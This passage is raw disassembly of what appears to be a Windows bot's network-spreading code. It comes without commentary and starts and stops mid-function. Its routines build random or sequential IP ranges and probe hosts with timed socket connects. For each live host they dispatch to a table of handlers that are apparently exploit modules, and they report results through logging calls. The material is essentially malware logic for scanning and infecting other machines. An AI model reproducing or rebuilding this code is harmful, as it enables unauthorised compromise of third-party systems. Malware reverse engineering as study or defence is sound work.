		mov	dword_43E934[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE130, ebx
		jnz	short loc_40C00B
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431814[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE720
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB54, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB48, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB50, ebx
		mov	dword_4CDBD8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB58
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBDC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB58
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBDC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB54
		lea	eax, [ebp+var_204]
		push	offset unk_431D78
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB4C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB48
		push	offset sub_40F108
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CDB4C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBE0, ebx
		jnz	short loc_40C12E
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D40
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431810[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3C4
		push	104h
		push	esi
		push	ebx
		call	dword_427078	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4DC, ebx
		mov	dword_4CE4C8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE13C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE138, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4C8
		mov	dword_4CE4D4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4D8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C194
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4D0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE138
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CE4D0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4E4, ebx
		jnz	short loc_40C256
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D0C
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB30h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB90C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9E0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB30[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: sub_40BB65+59p
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA64	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9E4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA80	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9CC	; select
		push	esi
		mov	edi, eax
		call	dword_4CBA7C	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C600+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E924[ebx]
		cmp	dword_4CBB34[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E924[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E6C
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E720[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB30
		call	dword_4270DC	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E44
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+2A8h+var_2A8], offset dword_4CDB30
		call	dword_4270D8	; RtlLeaveCriticalSection
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431804[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		call	dword_427080	; Sleep
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_40C3E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C600	proc near		; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA24	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB30[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB30
		push	esi
		call	dword_4270E4	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4270E0	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F50
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C600+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C600+63j
					; sub_40C600+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB34[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C600+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F1C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C600+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C600+159j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EE4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C600+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C600+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40C7B0:				; CODE XREF: sub_40C600+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB30[eax*8]
		push	eax
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EA4
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C600+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4CBB34[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB30
		call	dword_4270E4	; RtlDeleteCriticalSection


loc_40C835:				; CODE XREF: sub_40C600+228j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_40C845:				; CODE XREF: sub_40C600+19Ej
					; sub_40C600+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB34[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40C845
sub_40C600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near		; DATA XREF: sub_40C92C+7Bo
					; sub_40CA1D+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9E4	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA64	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E92C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		mov	edi, offset dword_4CE4F4
		push	offset unk_431F84
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA7C	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C92C	proc near		; DATA XREF: sub_401ACD+5F60o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_427080
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C95A:				; CODE XREF: sub_40C92C+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_431FAC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C85F
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C9C6


loc_40C9BB:				; CODE XREF: sub_40C92C+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40C9C6
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C9BB
; ---------------------------------------------------------------------------


loc_40C9C6:				; CODE XREF: sub_40C92C+8Dj
					; sub_40C92C+92j
		push	[ebp+var_4]
		call	dword_427070	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB90C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9E0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		jmp	loc_40C95A
sub_40C92C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1D	proc near		; DATA XREF: sub_401ACD+5C80o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_427080
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40CA4B:				; CODE XREF: sub_40CA1D+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_432000
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_43E720
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C85F
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40CAB7


loc_40CAAC:				; CODE XREF: sub_40CA1D+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40CAB7
		push	32h
		call	esi	; Sleep
		jmp	short loc_40CAAC
; ---------------------------------------------------------------------------


loc_40CAB7:				; CODE XREF: sub_40CA1D+8Dj
					; sub_40CA1D+92j
		push	[ebp+arg_0]
		call	dword_427070	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40CADE
		inc	[ebp+var_2C]
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40CADE:				; CODE XREF: sub_40CA1D+B7j
		push	[ebp+var_1C]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_431FD4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		push	[ebp+var_20]
		call	sub_40B6D6
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40CA1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
